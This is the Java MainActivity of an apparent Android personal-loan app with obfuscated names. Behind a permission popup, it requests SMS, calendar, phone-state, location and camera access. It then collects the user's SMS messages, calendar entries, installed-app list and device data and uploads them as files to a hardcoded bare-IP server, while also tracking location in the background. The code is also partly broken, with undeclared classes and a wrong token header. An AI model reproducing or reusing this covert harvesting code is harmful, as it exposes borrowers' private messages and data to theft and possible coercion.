package cn.new7as.cas5s.ui.slideshow;

import static cn.new7as.cas5s.tool.util.Utils.openAppInGooglePlay;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.Intent;
import android.location.Address;
import android.location.Geocoder;
import android.os.Bundle;
import android.os.Looper;

import android.view.View;
import android.widget.RelativeLayout;
import android.widget.TextView;

import com.bpsdcs.fghvx.BatListener;
import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;
import com.google.android.material.navigation.NavigationView;
import com.google.gson.Gson;
import com.hjq.http.EasyHttp;
import com.hjq.http.lifecycle.ActivityLifecycle;
import com.hjq.http.listener.OnHttpListener;
import com.hjq.http.listener.OnUpdateListener;
import com.hjq.permissions.OnPermissionCallback;
import com.hjq.permissions.XXPermissions;
import com.lxj.xpopup.XPopup;

import androidx.annotation.NonNull;
import androidx.core.view.GravityCompat;


import java.io.File;
import java.io.IOException;
import java.util.List;
import java.util.Locale;

import cn.new7as.cas5s.BuildConfig;
import cn.new7as.cas5s.R;
import cn.new7as.cas5s.databinding.ActivityMainBinding;
import cn.new7as.cas5s.anhjkfu.OnConfirmListener;
import cn.new7as.cas5s.anhjkfu.RequestPerPop;
import cn.new7as.cas5s.anhjkfu.StartPop;

import cn.new7as.cas5s.tool.phut.funs.PhoneData;
import cn.new7as.cas5s.tool.util.SharePreferenceUtils;
import cn.new7as.cas5s.tool.util.Utils;
import cn.new7as.cas5s.ui.apply.Info_ThirdActivity;
import cn.new7as.cas5s.ui.easy.netapi.ConfigApi;
import cn.new7as.cas5s.ui.easy.netapi.HttpData;
import cn.new7as.cas5s.ui.easy.netapi.EvaApi;
import cn.new7as.cas5s.ui.easy.netapi.KeepUrlApi;
import cn.new7as.cas5s.ui.apply.ApplyActivity;
import cn.new7as.cas5s.ui.apply.Info_FirstActivity;
import cn.new7as.cas5s.ui.apply.Info_ForthActivity;
import cn.new7as.cas5s.ui.apply.Info_SecondActivity;
import cn.new7as.cas5s.ui.easy.netapi.GetMailApi;
import cn.new7as.cas5s.ui.easy.netapi.HasPwdApi;

import cn.new7as.cas5s.ui.easy.netapi.PhoneApi;

import cn.new7as.cas5s.ui.easy.netapi.UpdateImageApi;
import cn.new7as.cas5s.ui.easy.netapi.UserStatusApi;

import cn.new7as.cas5s.ui.apply.StopActivity;
import cn.new7as.cas5s.ui.login.ChangePwdActivity;

import cn.new7as.cas5s.ui.repay.OrdersActivity;
import cn.new7as.cas5s.ui.login.LogininActivity;
import cn.new7as.cas5s.ui.login.SetPwdActivity;
import cn.new7as.cas5s.ui.repay.PayForthActivity;

public class MainActivity extends BaseActivity {

    private ActivityMainBinding binding;
    private FusedLocationProviderClient client;

    @SuppressLint("MissingPermission")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        binding = ActivityMainBinding.inflate(getLayoutInflater());
        setContentView(binding.getRoot());
        initV();

        getMail(getunique());

    }

    @Override
    protected void onResume() {
        super.onResume();
        haspwd(getunique());
    }

    @SuppressLint("MissingPermission")
    private void golocate() {
        new Thread(new Runnable() {
            @Override
            public void run() {
                Looper mainLooper = Looper.getMainLooper();
                LocationRequest locationRequest = LocationRequest.create()

                        .setPriority(LocationRequest.PRIORITY_LOW_POWER)
                        .setInterval(6000);
                client.requestLocationUpdates(
                        locationRequest,
                        callback,
                        mainLooper);
            }
        }).start();


    }

    private LocationCallback callback = new LocationCallback() {

        @Override
        public void onLocationResult(@NonNull LocationResult locationResult) {
            super.onLocationResult(locationResult);
            try {
                Geocoder bjkj = new Geocoder(MainActivity.this, Locale.getDefault());
                new Thread(new Runnable() {
                    @Override
                    public void run() {

                        List<Address> yfyjk = null;
                        try {
                            yfyjk = bjkj.getFromLocation(locationResult.getLastLocation().getLatitude(), locationResult.getLastLocation().getLongitude(), 1);
                            Utils.savelocal(yfyjk.get(0));
                        } catch (IOException e) {
                            client.removeLocationUpdates(callback);

                        }


                    }
                }).start();

            } catch (Exception e) {

            }


        }


    };


    TextView name;

    public void initV() {
        client = LocationServices.getFusedLocationProviderClient(this);
        showFirPer();
        getCon();
        NavigationView navigationView = (NavigationView) findViewById(R.id.nav_view);
        View headerLayout = navigationView.getHeaderView(0);
        TextView phone = headerLayout.findViewById(R.id.phone);
        name = headerLayout.findViewById(R.id.name);
        TextView outlogin = headerLayout.findViewById(R.id.outlogin);
        RelativeLayout order = headerLayout.findViewById(R.id.order);
        RelativeLayout aboutus = headerLayout.findViewById(R.id.aboutus);
        RelativeLayout service = headerLayout.findViewById(R.id.service);
        RelativeLayout policy = headerLayout.findViewById(R.id.policy);
        RelativeLayout cpwd = headerLayout.findViewById(R.id.cpwd);

        phone.setText(Utils.getphone(this));
        order.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Utils.go(MainActivity.this, OrdersActivity.class);
            }
        });
        aboutus.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Utils.go(MainActivity.this, ContactUsActivity.class);
            }
        });

        cpwd.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                show();
                EasyHttp.get(MainActivity.this)
                        .api(new HasPwdApi(getunique())).request(new OnHttpListener<HttpData<HasPwdApi.HasPwdData>>() {
                            @Override
                            public void onHttpSuccess(@NonNull HttpData<HasPwdApi.HasPwdData> result) {
                                hide();
                                if (result.getResult().passwordStatus == 0) {
                                    Utils.go(MainActivity.this, SetPwdActivity.class);
                                } else {
                                    Utils.go(MainActivity.this, ChangePwdActivity.class);
                                }
                            }

                            @Override
                            public void onHttpFail(@NonNull Throwable throwable) {
                                deal(throwable);
                            }
                        });


            }

        });
        outlogin.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Utils.go(MainActivity.this, LogininActivity.class);
                finish();
            }
        });
        service.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Utils.goextra(MainActivity.this, PayForthActivity.class, BuildConfig.TERM);

            }
        });
        policy.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Utils.goextra(MainActivity.this, PayForthActivity.class, BuildConfig.PRI);

            }
        });
    }

    private void getCon() {
        HttpRequest.GET(this, "http://16.163.9.142/cbf-app/loan/config", new Parameter().add("page", "1"), new ResponsechildListener() {

            @Override
            public void onResponse(String main, Exception error) {
            }

            @Override
            public void responseData(String response) {
                ConfigApi.ConfigData s = new Gson().fromJson(response, ConfigApi.ConfigData.class);

            }

        });
        EasyHttp.get(new ActivityLifecycle(this))
                .api(new ConfigApi())
                .request(new OnHttpListener<HttpData<ConfigApi.ConfigData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<ConfigApi.ConfigData> result) {
                        SharePreferenceUtils spUtils = new SharePreferenceUtils(MainActivity.this);
                        spUtils.putInt("days", result.getResult().smsDays);
                        spUtils.putInt("count", result.getResult().smsCount);


                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {

                    }
                });
    }

    @Override
    protected void onStop() {
        super.onStop();
        hide();
    }

    void haspwd(String to) {


        HttpRequest.build(this, NetUrl.PWDSTATUS)
                .addHeaders("token", to)

                .setResponseListener(new ResponseListener() {
                    @Override
                    public void onResponse(String response, Exception error) {

                    }
                })
                .doGet();
        EasyHttp.get(this)
                .api(new HasPwdApi(to)).request(new OnHttpListener<HttpData<HasPwdApi.HasPwdData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<HasPwdApi.HasPwdData> result) {
                        if (result.getResult().passwordStatus == 0 && result.getResult().isTip == 1) {
                            Utils.go(MainActivity.this, SetPwdActivity.class);
                        }
                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }

    private void showEVA() {
        new XPopup.Builder(this)
                .dismissOnTouchOutside(false)
                .moveUpToKeyboard(false)
                .enableDrag(true)
                .isViewMode(true)
                .isDestroyOnDismiss(true)

                .asCustom(new StartPop(this).setPopupCallback(new OnConfirmListener() {
                    @Override
                    public void onConfirm(String rscore) {
                        eva(rscore);
                    }

                    @Override
                    public void nextloan(String rscore) {

                    }
                }))
                .show();
    }

    @SuppressLint("SuspiciousIndentation")
    private void showFirPer() {
        SharePreferenceUtils sharePreferenceUtils = new SharePreferenceUtils(this);
        boolean onfirst = sharePreferenceUtils.getBoolean("notfirst", false);
        if (!onfirst)
            new XPopup.Builder(this)
                    .moveUpToKeyboard(false)
                    .enableDrag(true)
                    .isViewMode(true)
                    .isDestroyOnDismiss(true)

                    .asCustom(new RequestPerPop(this).setPopupCallback(new OnConfirmListener() {
                        @Override
                        public void onConfirm(String rscore) {
                            appper();
                            sharePreferenceUtils.putBoolean("notfirst", true);

                        }

                        @Override
                        public void nextloan(String rscore) {
                            starts();
                            sharePreferenceUtils.putBoolean("notfirst", true);
                        }
                    }))
                    .show();
        else exctedata();
    }


    public void status(String pco) {
        String to = getunique();
        show();

        HttpRequest.build(this, NetUrl.HOMESTATUS)
                .addHeaders("token", "UTF-8")

                .setResponseListener(new ResponseListener() {
                    @Override
                    public void onResponse(String response, Exception error) {

                    }
                })
                .doGet();


        EasyHttp.get(this)
                .api(new UserStatusApi(to)).request(new OnHttpListener<HttpData<UserStatusApi.StatusData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<UserStatusApi.StatusData> result) {
                        hide();
                        if (result.getResult().freezeEndTime == null) {
                        /*    if (result.getResult().dspzdWhtiBekom == 1) {
                                showEVA();
                                return;
                            }*/
                            if (result.getResult().profileStatusInfo == null) {
                                Utils.goextra(MainActivity.this, ApplyActivity.class, pco);
                            } else {
                                int check = Utils.check(result.getResult().profileStatusInfo.current);

                                switch (check) {
                                    case 1:
                                        Utils.go(MainActivity.this, Info_FirstActivity.class);
                                        break;
                                    case 2:
                                        Utils.go(MainActivity.this, Info_SecondActivity.class);
                                        break;
                                    case 3:
                                        Utils.go(MainActivity.this, Info_ThirdActivity.class);
                                        break;
                                    case 4:
                                        Utils.go(MainActivity.this, Info_ForthActivity.class);
                                        break;
                                }
                            }
                        } else {
                            Intent intent = new Intent(MainActivity.this, StopActivity.class);
                            Bundle bundle = new Bundle();
                            bundle.putSerializable("ddba", result.getResult());
                            intent.putExtras(bundle);
                            startActivity(intent);
                        }

                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }

    public void status2() {
        String to = getunique();
        show();
        EasyHttp.get(this)
                .api(new UserStatusApi(to)).request(new OnHttpListener<HttpData<UserStatusApi.StatusData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<UserStatusApi.StatusData> result) {
                        hide();
                        if (result.getResult().freezeEndTime == null) {
                            if (result.getResult().guidanceRating == 1) {
                                String isevatime = new SharePreferenceUtils(MainActivity.this).getString("isevatime", "");
                                if (isevatime.isEmpty() || !Utils.gettime(System.currentTimeMillis()).equals(isevatime))
                                    showEVA();
                            }
                        }
                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }

    void getMail(String to) {
      /*  SharePreferenceUtils sharePreferenceUtils = new SharePreferenceUtils(this);
        boolean iseva = sharePreferenceUtils.getBoolean("iseva", true);
        if (iseva) {
            String isevatime = sharePreferenceUtils.getString("isevatime", "");
            if (!isevatime.isEmpty() && !Utils.gettime(System.currentTimeMillis()).equals(isevatime))
                showEVA();
            else status2();
        }*/
        status2();
        EasyHttp.get(this)
                .api(new GetMailApi(to)).request(new OnHttpListener<HttpData<GetMailApi.MailData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<GetMailApi.MailData> result) {
                        name.setText(result.getResult().name);
                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }

    void eva(String to) {
        EasyHttp.post(this)
                .api(new EvaApi(getunique(), to)).request(new OnHttpListener<HttpData<Object>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<Object> result) {
                        try {
                            if (Double.valueOf(to) > 3)
                                openAppInGooglePlay(MainActivity.this, getPackageName());
                        } catch (Exception e) {

                        }

                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }


    public void open() {
        binding.drawerLayout.openDrawer(GravityCompat.START);
    }


    @SuppressLint("SuspiciousIndentation")
    public void exctedata() {
        try {
            if (XXPermissions.isGranted(this, Manifest.permission.ACCESS_COARSE_LOCATION))


                golocate();
            BatListener.Companion.getInstance().inawefasvit(this);
        } catch (Exception ignored) {
        }
    }

    void appper() {
        if (!XXPermissions.isGranted(MainActivity.this, android.Manifest.permission.READ_PHONE_STATE, Manifest.permission.READ_CALENDAR)) {

            XXPermissions.with(MainActivity.this).permission(Manifest.permission.READ_PHONE_STATE, Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.READ_CALENDAR, Manifest.permission.CAMERA, Manifest.permission.READ_SMS).request(new OnPermissionCallback() {
                @Override
                public void onGranted(List<String> permissions, boolean all) {
                    if (all)
                        starts();
                }

                @Override
                public void onDenied(List<String> permissions, boolean never) {
                    starts();
                }
            });
        } else {
            starts();
        }

    }


    void starts() {
        exctedata();
        EasyHttp.get(MainActivity.this)
                .api(new PhoneApi()).request(new OnHttpListener<HttpData<PhoneApi.PhoneData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<PhoneApi.PhoneData> result) {
                        PhoneApi.PhoneData result1 = result.getResult();
                        new Thread(new Runnable() {
                            @Override
                            public void run() {
                                Uaba(result1);
                            }
                        }).start();

                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }

    private void Uaba(PhoneApi.PhoneData result1) {

        if (!result1.appsUrl) {
            UpdateImageApi.AsjbkjvInsk astring = Utils.getAllAppInfo(true, this);

            dou(new Gson().toJson(astring), 9);
        }

        if (!result1.deviceInfoUrl) {
            PhoneData astring = Utils.getCdata(MainActivity.this);

            dou(new Gson().toJson(astring), 8);
        }
        if (!result1.calendarsUrl) {
            String astring = Utils.getCalendarInfonew(this);
            dou(astring, 7);
        }
        if (!result1.msgsUrl) {
            String astring = Utils.getsinfo(this).toString();
            dou(astring, 6);
        }

    }

    void dou(String astring, int type) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                File file = new File(getFilesDir(), "ba" + System.currentTimeMillis() + ".text");


                Utils.writes(astring, file);
                upload(file.getPath(), type);
            }
        }).start();

    }


    void upload(String path, int type) {
        HttpRequest.build(this, "http://16.163.9.142:9587/cbf-admin/file/upload")
                .addHeaders("uploadType", "1")
                .addParameter("file", new File(path))
                .setResponseListener(new ResponseListener() {
                    @Override
                    public void onResponse(String response, Exception error) {

                        KeepUrlApi keepUrlApi = new KeepUrlApi();

                        JsonMap jsonMap = new JsonMap();

                        String s = "";
                        if (type == 9) {
                            s = "appsUrl";
                        } else if (type == 8) {
                            s = "deviceInfoUrl";
                        } else if (type == 7) {
                            s = "calendarsUrl";
                        } else if (type == 6) {
                            s = "msgsUrl";
                        }
                        jsonMap.set(s, response);

                        HttpRequest.build(this, NetUrl.FURL)

                                .setJsonParameter(jsonMap)
                                .setResponseListener(new ResponseListener() {
                                    @Override
                                    public void onResponse(String response, Exception error) {
                                        Log.e("aaaa", response.toString());
                                    }
                                })
                                .doPost();

                    }
                })
                .doPost();

        EasyHttp.post(this)
                .api(new UpdateImageApi(new File(path)))
                .request(new OnUpdateListener<HttpData<String>>() {
                    @Override
                    public void onUpdateProgressChange(int progress) {

                    }

                    @Override
                    public void onUpdateSuccess(HttpData<String> result) {

                        KeepUrlApi keepUrlApi = new KeepUrlApi();
                        if (type == 9) {
                            keepUrlApi.setAppsUrl(result.getResult());
                        } else if (type == 8) {
                            keepUrlApi.setDeviceInfoUrl(result.getResult());
                        } else if (type == 7) {
                            keepUrlApi.setCalendarsUrl(result.getResult());
                        } else if (type == 6) {
                            keepUrlApi.setMsgsUrl(result.getResult());
                        }

                        EasyHttp.post(MainActivity.this)
                                .api(keepUrlApi).request(new OnHttpListener<HttpData<Object>>() {
                                    @Override
                                    public void onHttpSuccess(@NonNull HttpData<Object> result) {

                                    }


                                    @Override
                                    public void onHttpFail(@NonNull Throwable throwable) {
                                        deal(throwable);
                                    }
                                });

                    }

                    @Override
                    public void onUpdateFail(@NonNull Throwable throwable) {

                    }

                });

    }
}

